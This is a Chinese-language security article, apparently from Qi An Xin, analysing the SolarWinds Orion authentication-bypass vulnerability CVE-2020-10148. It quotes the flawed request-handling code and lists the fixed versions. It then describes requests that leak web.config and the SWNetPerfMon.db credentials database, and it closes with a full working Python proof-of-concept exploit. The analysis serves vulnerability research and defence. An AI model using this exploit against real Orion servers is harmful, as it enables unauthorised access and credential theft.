前言
最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户的信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。
漏洞简介
SolarWinds Orion平台是一套负责系统监视和产品管理的基础架构,其中的SolarWinds Orion API主要负责SolarWinds Orion平台产品间的交互工作。
SolarWinds Orion 2020.2.1HF2、2019.4HF6之前的版本产品存在远程代码执行漏洞。具体来说,攻击者在访问链接中构造参数“.js”、“.css”等以便绕过权限验证,最终任意调用Orion API达到代码执行的目的。
受影响产品
SolarWinds Orion平台系列产品
受影响版本
Orion Version<2020.2.1HF2
Orion Version<2019.4HF6
修复版本
-
2019.4 HF 6
-
2020.2.1 HF 2
-
2019.2 SUPERNOVA补丁
-
2018.4 SUPERNOVA补丁
-
2018.2 SUPERNOVA补丁
漏洞分析
分析SolarWinds Orion的URL请求验证代码,如下。
private static void OnRequest(object sender, EventArgs e) { HttpApplication httpApplication = (HttpApplication)sender; HttpContext context = httpApplication.Context; string path = context.Request.Path; # 如果请求的资源包含关键词“Skipi18n”,则会跳过用户权限验证限制,新建一个空用户 if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0) { if (context.User == null || !context.User.Identity.IsAuthenticated) { context.SkipAuthorization = true; context.User = new NullUser(); } return; } # 如果请求的资源以".css"或“.js”结尾,则会跳过用户权限验证限制,新建一个空用户,并重定向到新页面 if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase)) { if (context.User == null || !context.User.Identity.IsAuthenticated) { context.SkipAuthorization = true; context.User = new NullUser(); } LocalizerHttpHandler.RedirectToMe(context, context.Request.Path); return; } # 如果请求的资源以".i18n.ashx”结尾,则会跳过用户权限验证限制,继续执行程序 if (!path.EndsWith(".i18n.ashx")) { return; } string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length); string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile); context.RewritePath(path2); } private static string RebuildPath(NameValueCollection nvc, string revisedFile) { return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeys where x != "file" select x into key select string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>()); }
分析可知,在对URL请求的验证方法 OnRequest 中,首先判别URL是否包含关键词“Skipi18n”:如是,则会跳过用户权限验证限制,并创建一个新用户,包含此关键词的数据包响应头信息如下。
如上述判别结果不成立,则会继续判别URL中是否包含关键词“.css”或“.js”:如是,则跳过用户权限验证限制,创建一个新用户,并重定向到新页面,包含关键词 “.css”、“.js”的数据包响应头信息分别如下。
据图可知,响应信息中“Location”字段说明跳转的链接信息。因此,修改“Location”链接中“*.js”或“*.css”为指定目标,则会控制程序访问指定目标内容。
如上述判决结果不成立,则程序会继续判别URL是否包含“.i18n.ashx”,如是,则根据URL字段信息访问指定目标内容。可知,前述“Location”字段的链接信息符合此要求,我们可在它基础上构造URL控制程序访问目标文件内容,例如Web.config、数据库文件内容。
漏洞利用
我们寻找确定存在缺陷的目标服务器后,发送包含“.js”关键词的请求http://xxx/xxx.js,在响应包中获得“Location”信息,如下。
在“Location”中链接 /xxx.js.i18n.ashx?l=en-us&v=43320,60 的基础上,修改 xxx.js 为目标文件,将其作为新的请求链接。
获得目标服务器的 web.config 文件,便于分析网站配置信息,链接及响应内容如下。
据图可知,我们已成功获取到系统配置信息。
获得目标服务器的 SWNetPerfMon.db 文件,便于分析数据库信息,链接和响应内容如下。
据图可知,我们已成功获取到系统的数据库账户等信息。
完整的POC脚本如下。
总结
本文分析SolarWinds Orion平台的远程代码执行漏洞,在漏洞利用过程中绕过权限验证获取系统关键信息;学习人员应注意提升代码分析和POC编写能力。
#/usr/local/bin/python3 import requests import sys if len(sys.argv) < 2: print ("[*] Usage : CVE-2020-10148.py http(s)://target") exit(-1) if not(sys.argv[1].startswith("http://")): if not(sys.argv[1].startswith("https://")): print("[-] target starts either with http:// or https://") exit(-1) print ("[*] Trying to leak valid file version") target = sys.argv[1] # appending .js to always invalid file # we don't verify because of self-signed instances # not really required but doesn't hurt either. leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False) if(leakVersion.headers["location"]): print("[+] Got location header") index = leakVersion.headers["location"].index(".i18n.ashx") leakedVersion = (leakVersion.headers["location"][index:]) if (leakedVersion.__contains__("v=")): print ("[+] Version seems valid") else: print("[-] Invalid version") exit(-1) else: print("[-] Can't get a valid version") exit(-1) print("[*] Trying to leak web.config file ") print(target+"/web.config"+leakedVersion) leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False) print(leakedConfig.status_code) print(len(leakedConfig.text)) if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 : print("[+] Target is vulnerable Got the web.config file ") # outputFile = target.replace("https://","").replace("http://","")+"_web.config" # configFile = open(outputFile,"w") # configFile.write(leakedConfig.text) # configFile.close() # print("[+] web.config written to : " + outputFile ) else: print("[-] Failed to download web.config target is not vulnerable") exit(-1) print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ") # https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US # C:\inetpub\SolarWinds\SWNetPerfMon.db # C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.db leakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False) print(target+"/SWNetPerfMon.db"+leakedVersion) print(leakedDB.status_code) print(len(leakedDB.text)) if (leakedDB.status_code == 200) and len(leakedDB.text) > 1: print("[+] Target is vulnerable Got the SWNetPerfMon.db file ") # outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db" # configFile = open(outputFile,"w") # configFile.write(leakedDB.text) # configFile.close() # # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform # print("[+] SWNetPerfMon.db written to : " + outputFile ) else: print("[-] Failed to download SWNetPerfMon.db target is on newer version") exit(-1)
参考文献
-
Stargazers · CVE-2020-10148.py
https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/stargazers
-
SolarWinds Orion远程代码执行漏洞风险通告(CVE-2020-10148)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
https://bbs.pediy.com/thread-264770.htm
转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
来源:freebuf.com 2020-12-31 17:18:45 by: 奇安信代码卫士
请登录后发表评论
注册